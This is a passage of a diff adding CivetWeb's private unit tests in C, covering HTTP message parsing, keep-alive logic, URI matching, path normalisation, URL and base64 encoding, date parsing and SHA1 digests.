FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/** + * We include the source file so that we have access to the internal private + * static functions + */ +#ifdef _MSC_VER +#ifndef _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS +#endif +#define CIVETWEB_API static +#endif + +#ifdef REPLACE_CHECK_FOR_LOCAL_DEBUGGING +#undef MEMORY_DEBUGGING +#endif + +#include "../src/civetweb.c" + +#include +#include + +#include "private.h" + + +/* This unit test file uses the excellent Check unit testing library. + * The API documentation is available here: + * http://check.sourceforge.net/doc/check_html/index.html + */ + +static char tmp_parse_buffer[1024]; + +static int +test_parse_http_response(char *buf, int len, struct mg_response_info *ri) +{ + ck_assert_int_lt(len, (int)sizeof(tmp_parse_buffer)); + memcpy(tmp_parse_buffer, buf, (size_t)len); + return parse_http_response(tmp_parse_buffer, len, ri); +} + +static int +test_parse_http_request(char *buf, int len, struct mg_request_info *ri) +{ + ck_assert_int_lt(len, (int)sizeof(tmp_parse_buffer)); + memcpy(tmp_parse_buffer, buf, (size_t)len); + return parse_http_request(tmp_parse_buffer, len, ri); +} + + +START_TEST(test_parse_http_message) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + struct mg_request_info ri; + struct mg_response_info respi; + char empty[] = ""; + char space[] = " \x00"; + char req1[] = "GET / HTTP/1.1\r\n\r\n"; + char req2[] = "BLAH / HTTP/1.1\r\n\r\n"; + char req3[] = "GET / HTTP/1.1\nKey: Val\n\n"; + char req4[] = + "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nskip\r\nbaz:\r\n\r\n"; + char req5[] = "GET / HTTP/1.0\n\n"; + char req6[] = "G"; + char req7[] = " blah "; + char req8[] = "HTTP/1.0 404 Not Found\n\n"; + char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n"; + + char req10[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\n\r\n"; + + char req11[] = "GET /\r\nError: X\r\n\r\n"; + + char req12[] = + "POST /a/b/c.d?e=f&g HTTP/1.1\r\nKey1: val1\r\nKey2: val2\r\n\r\nBODY"; + + + int lenreq1 = (int)strlen(req1); + int lenreq2 = (int)strlen(req2); + int lenreq3 = (int)strlen(req3); + int lenreq4 = (int)strlen(req4); + int lenreq5 = (int)strlen(req5); + int lenreq6 = (int)strlen(req6); + int lenreq7 = (int)strlen(req7); + int lenreq8 = (int)strlen(req8); + int lenreq9 = (int)strlen(req9); + int lenreq10 = (int)strlen(req10); + int lenreq11 = (int)strlen(req11); + int lenreq12 = (int)strlen(req12); + int lenhdr12 = lenreq12 - 4; /* length without body */ + + mark_point(); + + /* An empty string is neither a complete request nor a complete + * response, so it must return 0 */ + ck_assert_int_eq(0, get_http_header_len(empty, 0)); + ck_assert_int_eq(0, test_parse_http_request(empty, 0, &ri)); + ck_assert_int_eq(0, test_parse_http_response(empty, 0, &respi)); + + /* Same is true for a leading space */ + ck_assert_int_eq(0, get_http_header_len(space, 1)); + ck_assert_int_eq(0, test_parse_http_request(space, 1, &ri)); + ck_assert_int_eq(0, test_parse_http_response(space, 1, &respi)); + + /* But a control character (like 0) makes it invalid */ + ck_assert_int_eq(-1, get_http_header_len(space, 2)); + ck_assert_int_eq(-1, test_parse_http_request(space, 2, &ri)); + ck_assert_int_eq(-1, test_parse_http_response(space, 2, &respi)); + + + /* req1 minus 1 byte at the end is incomplete */ + ck_assert_int_eq(0, get_http_header_len(req1, lenreq1 - 1)); + + + /* req1 minus 1 byte at the start is complete but invalid */ + ck_assert_int_eq(lenreq1 - 1, get_http_header_len(req1 + 1, lenreq1 - 1)); + ck_assert_int_eq(-1, test_parse_http_request(req1 + 1, lenreq1 - 1, &ri)); + + + /* req1 is a valid request */ + ck_assert_int_eq(lenreq1, get_http_header_len(req1, lenreq1)); + ck_assert_int_eq(-1, test_parse_http_response(req1, lenreq1, &respi)); + ck_assert_int_eq(lenreq1, test_parse_http_request(req1, lenreq1, &ri)); + ck_assert_str_eq("1.1", ri.http_version); + ck_assert_int_eq(0, ri.num_headers); + + + /* req2 is a complete, but invalid request */ + ck_assert_int_eq(lenreq2, get_http_header_len(req2, lenreq2)); + ck_assert_int_eq(-1, test_parse_http_request(req2, lenreq2, &ri)); + + + /* req3 is a complete and valid request */ + ck_assert_int_eq(lenreq3, get_http_header_len(req3, lenreq3)); + ck_assert_int_eq(lenreq3, test_parse_http_request(req3, lenreq3, &ri)); + ck_assert_int_eq(-1, test_parse_http_response(req3, lenreq3, &respi)); + + + /* Multiline header are obsolete, so return an error + * (https://tools.ietf.org/html/rfc7230#section-3.2.4). */ + ck_assert_int_eq(-1, test_parse_http_request(req4, lenreq4, &ri)); + + + /* req5 is a complete and valid request (also somewhat malformed, + * since it uses \n\n instead of \r\n\r\n) */ + ck_assert_int_eq(lenreq5, get_http_header_len(req5, lenreq5)); + ck_assert_int_eq(-1, test_parse_http_response(req5, lenreq5, &respi)); + ck_assert_int_eq(lenreq5, test_parse_http_request(req5, lenreq5, &ri)); + ck_assert_str_eq("GET", ri.request_method); + ck_assert_str_eq("1.0", ri.http_version); + + + /* req6 is incomplete */ + ck_assert_int_eq(0, get_http_header_len(req6, lenreq6)); + ck_assert_int_eq(0, test_parse_http_request(req6, lenreq6, &ri)); + + + /* req7 is invalid, but not yet complete */ + ck_assert_int_eq(0, get_http_header_len(req7, lenreq7)); + ck_assert_int_eq(0, test_parse_http_request(req7, lenreq7, &ri)); + + + /* req8 is a valid response */ + ck_assert_int_eq(lenreq8, get_http_header_len(req8, lenreq8)); + ck_assert_int_eq(-1, test_parse_http_request(req8, lenreq8, &ri)); + ck_assert_int_eq(lenreq8, test_parse_http_response(req8, lenreq8, &respi)); + + + /* req9 is a valid response */ + ck_assert_int_eq(lenreq9, get_http_header_len(req9, lenreq9)); + ck_assert_int_eq(-1, test_parse_http_request(req9, lenreq9, &ri)); + ck_assert_int_eq(lenreq9, test_parse_http_response(req9, lenreq9, &respi)); + ck_assert_int_eq(1, respi.num_headers); + + + /* req10 is a valid request */ + ck_assert_int_eq(lenreq10, get_http_header_len(req10, lenreq10)); + ck_assert_int_eq(lenreq10, test_parse_http_request(req10, lenreq10, &ri)); + ck_assert_str_eq("1.1", ri.http_version); + ck_assert_int_eq(2, ri.num_headers); + ck_assert_str_eq("A", ri.http_headers[0].name); + ck_assert_str_eq("foo bar", ri.http_headers[0].value); + ck_assert_str_eq("B", ri.http_headers[1].name); + ck_assert_str_eq("bar", ri.http_headers[1].value); + + + /* req11 is a complete but valid request */ + ck_assert_int_eq(-1, test_parse_http_request(req11, lenreq11, &ri)); + + + /* req12 is a valid request with body data */ + ck_assert_int_gt(lenreq12, lenhdr12); + ck_assert_int_eq(lenhdr12, get_http_header_len(req12, lenreq12)); + ck_assert_int_eq(lenhdr12, test_parse_http_request(req12, lenreq12, &ri)); +} +END_TEST + + +START_TEST(test_should_keep_alive) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + struct mg_connection conn; + struct mg_context ctx; + char req1[] = "GET / HTTP/1.1\r\n\r\n"; + char req2[] = "GET / HTTP/1.0\r\n\r\n"; + char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n"; + char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n"; + char yes[] = "yes"; + char no[] = "no"; + + int lenreq1 = (int)strlen(req1); + int lenreq2 = (int)strlen(req2); + int lenreq3 = (int)strlen(req3); + int lenreq4 = (int)strlen(req4); + + mark_point(); + + memset(&ctx, 0, sizeof(ctx)); + memset(&conn, 0, sizeof(conn)); + conn.ctx = &ctx; + ck_assert_int_eq(test_parse_http_request(req1, lenreq1, &conn.request_info), + lenreq1); + conn.connection_type = 1; /* Valid request */ + ck_assert_int_eq(conn.request_info.num_headers, 0); + + ctx.config[ENABLE_KEEP_ALIVE] = no; + ck_assert_int_eq(should_keep_alive(&conn), 0); + + ctx.config[ENABLE_KEEP_ALIVE] = yes; + ck_assert_int_eq(should_keep_alive(&conn), 1); + + conn.must_close = 1; + ck_assert_int_eq(should_keep_alive(&conn), 0); + + conn.must_close = 0; + test_parse_http_request(req2, lenreq2, &conn.request_info); + conn.connection_type = 1; /* Valid request */ + ck_assert_int_eq(conn.request_info.num_headers, 0); + ck_assert_int_eq(should_keep_alive(&conn), 0); + + test_parse_http_request(req3, lenreq3, &conn.request_info); + conn.connection_type = 1; /* Valid request */ + ck_assert_int_eq(conn.request_info.num_headers, 1); + ck_assert_int_eq(should_keep_alive(&conn), 0); + + test_parse_http_request(req4, lenreq4, &conn.request_info); + conn.connection_type = 1; /* Valid request */ + ck_assert_int_eq(conn.request_info.num_headers, 1); + ck_assert_int_eq(should_keep_alive(&conn), 1); + + conn.status_code = 200; + conn.must_close = 1; + ck_assert_int_eq(should_keep_alive(&conn), 0); + + conn.status_code = 200; + conn.must_close = 0; + ck_assert_int_eq(should_keep_alive(&conn), 1); + + conn.status_code = 200; + conn.must_close = 0; + conn.connection_type = 0; /* invalid */ + ck_assert_int_eq(should_keep_alive(&conn), 0); +} +END_TEST + + +START_TEST(test_match_prefix) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + ck_assert_int_eq(4, match_prefix("/api", 4, "/api")); + ck_assert_int_eq(3, match_prefix("/a/", 3, "/a/b/c")); + ck_assert_int_eq(-1, match_prefix("/a/", 3, "/ab/c")); + ck_assert_int_eq(4, match_prefix("/*/", 3, "/ab/c")); + ck_assert_int_eq(6, match_prefix("**", 2, "/a/b/c")); + ck_assert_int_eq(2, match_prefix("/*", 2, "/a/b/c")); + ck_assert_int_eq(2, match_prefix("*/*", 3, "/a/b/c")); + ck_assert_int_eq(5, match_prefix("**/", 3, "/a/b/c")); + ck_assert_int_eq(5, match_prefix("**.foo|**.bar", 13, "a.bar")); + ck_assert_int_eq(2, match_prefix("a|b|cd", 6, "cdef")); + ck_assert_int_eq(2, match_prefix("a|b|c?", 6, "cdef")); + ck_assert_int_eq(1, match_prefix("a|?|cd", 6, "cdef")); + ck_assert_int_eq(-1, match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi")); + ck_assert_int_eq(12, match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi")); + ck_assert_int_eq(5, match_prefix("**/", 3, "/a/b/c")); + ck_assert_int_eq(-1, match_prefix("**/$", 4, "/a/b/c")); + ck_assert_int_eq(5, match_prefix("**/$", 4, "/a/b/")); + ck_assert_int_eq(0, match_prefix("$", 1, "")); + ck_assert_int_eq(-1, match_prefix("$", 1, "x")); + ck_assert_int_eq(1, match_prefix("*$", 2, "x")); + ck_assert_int_eq(1, match_prefix("/$", 2, "/")); + ck_assert_int_eq(-1, match_prefix("**/$", 4, "/a/b/c")); + ck_assert_int_eq(5, match_prefix("**/$", 4, "/a/b/")); + ck_assert_int_eq(0, match_prefix("*", 1, "/hello/")); + ck_assert_int_eq(-1, match_prefix("**.a$|**.b$", 11, "/a/b.b/")); + ck_assert_int_eq(6, match_prefix("**.a$|**.b$", 11, "/a/b.b")); + ck_assert_int_eq(6, match_prefix("**.a$|**.b$", 11, "/a/B.A")); + ck_assert_int_eq(5, match_prefix("**o$", 4, "HELLO")); +} +END_TEST + + +START_TEST(test_remove_double_dots_and_double_slashes) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + struct { + char before[20], after[20]; + } data[] = { + {"////a", "/a"}, + {"/.....", "/."}, + {"/......", "/"}, + {"..", "."}, + {"...", "."}, + {"/...///", "/./"}, + {"/a...///", "/a.../"}, + {"/.x", "/.x"}, + {"/\\", "/"}, + {"/a\\", "/a\\"}, + {"/a\\\\...", "/a\\."}, + }; + size_t i; + + mark_point(); + + for (i = 0; i < ARRAY_SIZE(data); i++) { + remove_double_dots_and_double_slashes(data[i].before); + ck_assert_str_eq(data[i].before, data[i].after); + } +} +END_TEST + + +START_TEST(test_is_valid_uri) +{ + /* is_valid_uri is superseeded by get_uri_type */ + ck_assert_int_eq(2, get_uri_type("/api")); + ck_assert_int_eq(2, get_uri_type("/api/")); + ck_assert_int_eq(2, + get_uri_type("/some/long/path%20with%20space/file.xyz")); + ck_assert_int_eq(0, get_uri_type("api")); + ck_assert_int_eq(1, get_uri_type("*")); + ck_assert_int_eq(0, get_uri_type("*xy")); + ck_assert_int_eq(3, get_uri_type("http://somewhere/")); + ck_assert_int_eq(3, get_uri_type("https://somewhere/some/file.html")); + ck_assert_int_eq(4, get_uri_type("http://somewhere:8080/")); + ck_assert_int_eq(4, get_uri_type("https://somewhere:8080/some/file.html")); +} +END_TEST + + +START_TEST(test_next_option) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + const char *p, *list = "x/8,/y**=1;2k,z"; + struct vec a, b; + int i; + + mark_point(); + + ck_assert(next_option(NULL, &a, &b) == NULL); + for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) { + ck_assert(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0)); + ck_assert(i != 1 + || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 + && b.len == 4)); + ck_assert(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0)); + } +} +END_TEST + + +START_TEST(test_skip_quoted) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + char x[] = "a=1, b=2, c='hi \' there', d='here\\, there'", *s = x, *p; + + mark_point(); + + p = skip_quoted(&s, ", ", ", ", 0); + ck_assert(p != NULL && !strcmp(p, "a=1")); + + p = skip_quoted(&s, ", ", ", ", 0); + ck_assert(p != NULL && !strcmp(p, "b=2")); + + p = skip_quoted(&s, ",", " ", 0); + ck_assert(p != NULL && !strcmp(p, "c='hi \' there'")); + + p = skip_quoted(&s, ",", " ", '\\'); + ck_assert(p != NULL && !strcmp(p, "d='here, there'")); + ck_assert(*s == 0); +} +END_TEST + + +static int +alloc_printf(char **buf, size_t size, const char *fmt, ...) +{ + /* Test helper function - adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + va_list ap; + int ret = 0; + + mark_point(); + + va_start(ap, fmt); + ret = alloc_vprintf(buf, *buf, size, fmt, ap); + va_end(ap); + + return ret; +} + + +static int +alloc_printf2(char **buf, const char *fmt, ...) +{ + /* Test alternative implementation */ + va_list ap; + int ret = 0; + + mark_point(); + + va_start(ap, fmt); + ret = alloc_vprintf2(buf, fmt, ap); + va_end(ap); + + return ret; +} + + +START_TEST(test_alloc_vprintf) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + char buf[MG_BUF_LEN], *p = buf; + mark_point(); + + ck_assert(alloc_printf(&p, sizeof(buf), "%s", "hi") == 2); + ck_assert(p == buf); + + ck_assert(alloc_printf(&p, sizeof(buf), "%s", "") == 0); + ck_assert(p == buf); + + ck_assert(alloc_printf(&p, sizeof(buf), "") == 0); + ck_assert(p == buf); + + /* Pass small buffer, make sure alloc_printf allocates */ + ck_assert(alloc_printf(&p, 1, "%s", "hello") == 5); + ck_assert(p != buf); + mg_free(p); + p = buf; + + /* Test alternative implementation */ + ck_assert(alloc_printf2(&p, "%s", "hello") == 5); + ck_assert(p != buf); + mg_free(p); + p = buf; +} +END_TEST + + +START_TEST(test_mg_vsnprintf) +{ + char buf[16]; + int is_trunc; + +#if defined(_WIN32) + /* If the string is truncated, mg_snprintf calls mg_cry. + * If DEBUG is defined, mg_cry calls DEBUG_TRACE. + * In DEBUG_TRACE_FUNC, flockfile(stdout) is called. + * For Windows, flockfile/funlockfile calls Enter-/ + * LeaveCriticalSection(&global_log_file_lock). + * So, we need to initialize global_log_file_lock: + */ + InitializeCriticalSection(&global_log_file_lock); +#endif + + memset(buf, 0, sizeof(buf)); + mark_point(); + + is_trunc = 777; + mg_snprintf(NULL, &is_trunc, buf, 10, "%8i", 123); + ck_assert_str_eq(buf, " 123"); + ck_assert_int_eq(is_trunc, 0); + + is_trunc = 777; + mg_snprintf(NULL, &is_trunc, buf, 10, "%9i", 123); + ck_assert_str_eq(buf, " 123"); + ck_assert_int_eq(is_trunc, 0); + + is_trunc = 777; + mg_snprintf(NULL, &is_trunc, buf, 9, "%9i", 123); + ck_assert_str_eq(buf, " 12"); + ck_assert_int_eq(is_trunc, 1); + + is_trunc = 777; + mg_snprintf(NULL, &is_trunc, buf, 8, "%9i", 123); + ck_assert_str_eq(buf, " 1"); + ck_assert_int_eq(is_trunc, 1); + + is_trunc = 777; + mg_snprintf(NULL, &is_trunc, buf, 7, "%9i", 123); + ck_assert_str_eq(buf, " "); + ck_assert_int_eq(is_trunc, 1); + + is_trunc = 777; + strcpy(buf, "1234567890"); + mg_snprintf(NULL, &is_trunc, buf, 0, "%i", 543); + ck_assert_str_eq(buf, "1234567890"); + ck_assert_int_eq(is_trunc, 1); +} +END_TEST + + +START_TEST(test_mg_strcasestr) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + static const char *big1 = "abcdef"; + mark_point(); + + ck_assert(mg_strcasestr("Y", "X") == NULL); + ck_assert(mg_strcasestr("Y", "y") != NULL); + ck_assert(mg_strcasestr(big1, "X") == NULL); + ck_assert(mg_strcasestr(big1, "CD") == big1 + 2); + ck_assert(mg_strcasestr("aa", "AAB") == NULL); +} +END_TEST + + +START_TEST(test_parse_port_string) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + static const char *valid[] = + { "0", + "1", + "1s", + "1r", + "1.2.3.4:1", + "1.2.3.4:1s", + "1.2.3.4:1r", +#if defined(USE_IPV6) + "[::1]:123", + "[::]:80", + "[3ffe:2a00:100:7031::1]:900", + "+80", +#endif + NULL }; + static const char *invalid[] = { + "99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p", NULL}; + struct socket so; + struct vec vec; + int ip_family; + int i; + + mark_point(); + + for (i = 0; valid[i] != NULL; i++) { + vec.ptr = valid[i]; + vec.len = strlen(vec.ptr); + ip_family = 123; + ck_assert_int_ne(parse_port_string(&vec, &so, &ip_family), 0); + if (i < 7) { + ck_assert_int_eq(ip_family, 4); + } else if (i < 10) { + ck_assert_int_eq(ip_family, 6); + } else { + ck_assert_int_eq(ip_family, 4 + 6); + } + } + + for (i = 0; invalid[i] != NULL; i++) { + vec.ptr = invalid[i]; + vec.len = strlen(vec.ptr); + ip_family = 123; + ck_assert_int_eq(parse_port_string(&vec, &so, &ip_family), 0); + ck_assert_int_eq(ip_family, 0); + } +} +END_TEST + + +START_TEST(test_encode_decode) +{ + char buf[128]; + const char *alpha = "abcdefghijklmnopqrstuvwxyz"; + const char *nonalpha = " !\"#$%&'()*+,-./0123456789:;<=>?@"; + const char *nonalpha_url_enc1 = + "%20%21%22%23$%25%26%27()%2a%2b,-.%2f0123456789%3a;%3c%3d%3e%3f%40"; + const char *nonalpha_url_enc2 = + "%20!%22%23%24%25%26'()*%2B%2C-.%2F0123456789%3A%3B%3C%3D%3E%3F%40"; + int ret; + size_t len; + +#if defined(USE_WEBSOCKET) || defined(USE_LUA) + const char *alpha_b64_enc = "YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXo="; + const char *nonalpha_b64_enc = + "ICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9A"; + + mark_point(); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)"a", 1, buf); + ck_assert_str_eq(buf, "YQ=="); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)"ab", 1, buf); + ck_assert_str_eq(buf, "YQ=="); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)"ab", 2, buf); + ck_assert_str_eq(buf, "YWI="); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)alpha, 3, buf); + ck_assert_str_eq(buf, "YWJj"); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)alpha, 4, buf); + ck_assert_str_eq(buf, "YWJjZA=="); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)alpha, 5, buf); + ck_assert_str_eq(buf, "YWJjZGU="); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)alpha, 6, buf); + ck_assert_str_eq(buf, "YWJjZGVm"); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)alpha, (int)strlen(alpha), buf); + ck_assert_str_eq(buf, alpha_b64_enc); + + memset(buf, 77, sizeof(buf)); + base64_encode((unsigned char *)nonalpha, (int)strlen(nonalpha), buf); + ck_assert_str_eq(buf, nonalpha_b64_enc); +#endif + +#if defined(USE_LUA) + memset(buf, 77, sizeof(buf)); + len = 9999; + ret = base64_decode((unsigned char *)alpha_b64_enc, + (int)strlen(alpha_b64_enc), + buf, + &len); + ck_assert_int_eq(ret, -1); + ck_assert_uint_eq((unsigned int)len, (unsigned int)strlen(alpha)); + ck_assert_str_eq(buf, alpha); + + memset(buf, 77, sizeof(buf)); + len = 9999; + ret = base64_decode((unsigned char *)"AAA*AAA", 7, buf, &len); + ck_assert_int_eq(ret, 3); +#endif + + memset(buf, 77, sizeof(buf)); + ret = mg_url_encode(alpha, buf, sizeof(buf)); + ck_assert_int_eq(ret, (int)strlen(buf)); + ck_assert_int_eq(ret, (int)strlen(alpha)); + ck_assert_str_eq(buf, alpha); + + memset(buf, 77, sizeof(buf)); + ret = mg_url_encode(nonalpha, buf, sizeof(buf)); + ck_assert_int_eq(ret, (int)strlen(buf)); + ck_assert_int_eq(ret, (int)strlen(nonalpha_url_enc1)); + ck_assert_str_eq(buf, nonalpha_url_enc1); + + memset(buf, 77, sizeof(buf)); + ret = mg_url_decode(alpha, (int)strlen(alpha), buf, sizeof(buf), 0); + ck_assert_int_eq(ret, (int)strlen(buf)); + ck_assert_int_eq(ret, (int)strlen(alpha)); + ck_assert_str_eq(buf, alpha); + + memset(buf, 77, sizeof(buf)); + ret = mg_url_decode( + nonalpha_url_enc1, (int)strlen(nonalpha_url_enc1), buf, sizeof(buf), 0); + ck_assert_int_eq(ret, (int)strlen(buf)); + ck_assert_int_eq(ret, (int)strlen(nonalpha)); + ck_assert_str_eq(buf, nonalpha); + + memset(buf, 77, sizeof(buf)); + ret = mg_url_decode( + nonalpha_url_enc2, (int)strlen(nonalpha_url_enc2), buf, sizeof(buf), 0); + ck_assert_int_eq(ret, (int)strlen(buf)); + ck_assert_int_eq(ret, (int)strlen(nonalpha)); + ck_assert_str_eq(buf, nonalpha); + + /* len could be unused, if base64_decode is not tested because USE_LUA is + * not defined */ + (void)len; +} +END_TEST + + +START_TEST(test_mask_data) +{ +#if defined(USE_WEBSOCKET) + char in[1024]; + char out[1024]; + int i; +#endif + + uint32_t mask = 0x61626364; + /* TODO: adapt test for big endian */ + ck_assert((*(unsigned char *)&mask) == 0x64u); + +#if defined(USE_WEBSOCKET) + memset(in, 0, sizeof(in)); + memset(out, 99, sizeof(out)); + + mask_data(in, sizeof(out), 0, out); + ck_assert(!memcmp(out, in, sizeof(out))); + + for (i = 0; i < 1024; i++) { + in[i] = (char)((unsigned char)i); + } + mask_data(in, 107, 0, out); + ck_assert(!memcmp(out, in, 107)); + + mask_data(in, 256, 0x01010101, out); + for (i = 0; i < 256; i++) { + ck_assert_int_eq((int)((unsigned char)out[i]), + (int)(((unsigned char)in[i]) ^ (char)1u)); + } + for (i = 256; i < (int)sizeof(out); i++) { + ck_assert_int_eq((int)((unsigned char)out[i]), (int)0); + } + + /* TODO: check this for big endian */ + mask_data(in, 5, 0x01020304, out); + ck_assert_uint_eq((unsigned char)out[0], 0u ^ 4u); + ck_assert_uint_eq((unsigned char)out[1], 1u ^ 3u); + ck_assert_uint_eq((unsigned char)out[2], 2u ^ 2u); + ck_assert_uint_eq((unsigned char)out[3], 3u ^ 1u); + ck_assert_uint_eq((unsigned char)out[4], 4u ^ 4u); +#endif +} +END_TEST + + +START_TEST(test_parse_date_string) +{ +#if !defined(NO_CACHING) + time_t now = time(0); + struct tm *tm = gmtime(&now); + char date[64] = {0}; + unsigned long i; + + ck_assert_uint_eq((unsigned long)parse_date_string("1/Jan/1970 00:01:02"), + 62ul); + ck_assert_uint_eq((unsigned long)parse_date_string("1 Jan 1970 00:02:03"), + 123ul); + ck_assert_uint_eq((unsigned long)parse_date_string("1-Jan-1970 00:03:04"), + 184ul); + ck_assert_uint_eq((unsigned long)parse_date_string( + "Xyz, 1 Jan 1970 00:04:05"), + 245ul); + + gmt_time_string(date, sizeof(date), &now); + ck_assert_uint_eq((uintmax_t)parse_date_string(date), (uintmax_t)now); + + sprintf(date, + "%02u %s %04u %02u:%02u:%02u", + tm->tm_mday, + month_names[tm->tm_mon], + tm->tm_year + 1900, + tm->tm_hour, + tm->tm_min, + tm->tm_sec); + ck_assert_uint_eq((uintmax_t)parse_date_string(date), (uintmax_t)now); + + gmt_time_string(date, 1, NULL); + ck_assert_str_eq(date, ""); + gmt_time_string(date, 6, NULL); + ck_assert_str_eq(date, + "Thu, "); /* part of "Thu, 01 Jan 1970 00:00:00 GMT" */ + gmt_time_string(date, sizeof(date), NULL); + ck_assert_str_eq(date, "Thu, 01 Jan 1970 00:00:00 GMT"); + + for (i = 2ul; i < 0x8000000ul; i += i / 2) { + now = (time_t)i; + + gmt_time_string(date, sizeof(date), &now); + ck_assert_uint_eq((uintmax_t)parse_date_string(date), (uintmax_t)now); + + tm = gmtime(&now); + sprintf(date, + "%02u-%s-%04u %02u:%02u:%02u", + tm->tm_mday, + month_names[tm->tm_mon], + tm->tm_year + 1900, + tm->tm_hour, + tm->tm_min, + tm->tm_sec); + ck_assert_uint_eq((uintmax_t)parse_date_string(date), (uintmax_t)now); + } +#endif +} +END_TEST + + +START_TEST(test_sha1) +{ +#ifdef SHA1_DIGEST_SIZE + SHA_CTX sha_ctx; + uint8_t digest[SHA1_DIGEST_SIZE] = {0}; + char str[48] = {0}; + int i; + const char *test_str; + + ck_assert_uint_eq(sizeof(digest), 20); + ck_assert_uint_gt(sizeof(str), sizeof(digest) * 2 + 1); + + /* empty string */ + SHA1_Init(&sha_ctx); + SHA1_Final(digest, &sha_ctx); + bin2str(str, digest, sizeof(digest)); + ck_assert_uint_eq(strlen(str), 40); + ck_assert_str_eq(str, "da39a3ee5e6b4b0d3255bfef95601890afd80709"); + + /* empty string */ + SHA1_Init(&sha_ctx); + SHA1_Update(&sha_ctx, (uint8_t *)"abc", 0); + SHA1_Final(digest, &sha_ctx); + bin2str(str, digest, sizeof(digest)); + ck_assert_uint_eq(strlen(str), 40); + ck_assert_str_eq(str, "da39a3ee5e6b4b0d3255bfef95601890afd80709"); + + /* "abc" */ + SHA1_Init(&sha_ctx); + SHA1_Update(&sha_ctx, (uint8_t *)"abc", 3); + SHA1_Final(digest, &sha_ctx); + bin2str(str, digest, sizeof(digest)); + ck_assert_uint_eq(strlen(str), 40); + ck_assert_str_eq(str, "a9993e364706816aba3e25717850c26c9cd0d89d"); + + /* "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" */ + test_str = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"; + SHA1_Init(&sha_ctx); + SHA1_Update(&sha_ctx, (uint8_t *)test_str, (uint32_t)strlen(test_str)); + SHA1_Final(digest, &sha_ctx); + bin2str(str, digest, sizeof(digest)); + ck_assert_uint_eq(strlen(str), 40); + ck_assert_str_eq(str, "84983e441c3bd26ebaae4aa1f95129e5e54670f1"); + + /* a million "a" */ + SHA1_Init(&sha_ctx); + for (i = 0; i < 1000000; i++) { + SHA1_Update(&sha_ctx, (uint8_t *)"a", 1); + } + SHA1_Final(digest, &sha_ctx); + bin2str(str, digest, sizeof(digest)); + ck_assert_uint_eq(strlen(str), 40); + ck_assert_str_eq(str, "34aa973cd4c4daa4f61eeb2bdbad27316534016f"); + + /* a million "a" in blocks of 10 */ + SHA1_Init(&sha_ctx); + for (i = 0; i < 100000; i++) { + SHA1_Update(&sha_ctx, (uint8_t *)"aaaaaaaaaa", 10); + } + SHA1_Final(digest, &sha_ctx); + bin2str(str, digest, sizeof(digest)); + ck_assert_uint_eq(strlen(str), 40); + ck_assert_str_eq(str, "34aa973cd4c4daa4f61eeb2bdbad27316534016f"); +#else + /* Can not test, if SHA1 is not included */ + ck_assert(1); +#endif +} +END_TEST + + +#if !defined(REPLACE_CHECK_FOR_LOCAL_DEBUGGING) +Suite * +make_private_suite(void) +{ + Suite *const suite = suite_create("Private"); + + TCase *const tcase_http_message = tcase_create("HTTP Message"); + TCase *const tcase_http_keep_alive = tcase_create("HTTP Keep Alive"); + TCase *const tcase_url_parsing_1 = tcase_create("URL Parsing 1"); + TCase *const tcase_url_parsing_2 = tcase_create("URL Parsing 2"); + TCase *const tcase_url_parsing_3 = tcase_create("URL Parsing 3"); + TCase *const tcase_internal_parse_1 = tcase_create("Internal Parsing 1"); + TCase *const tcase_internal_parse_2 = 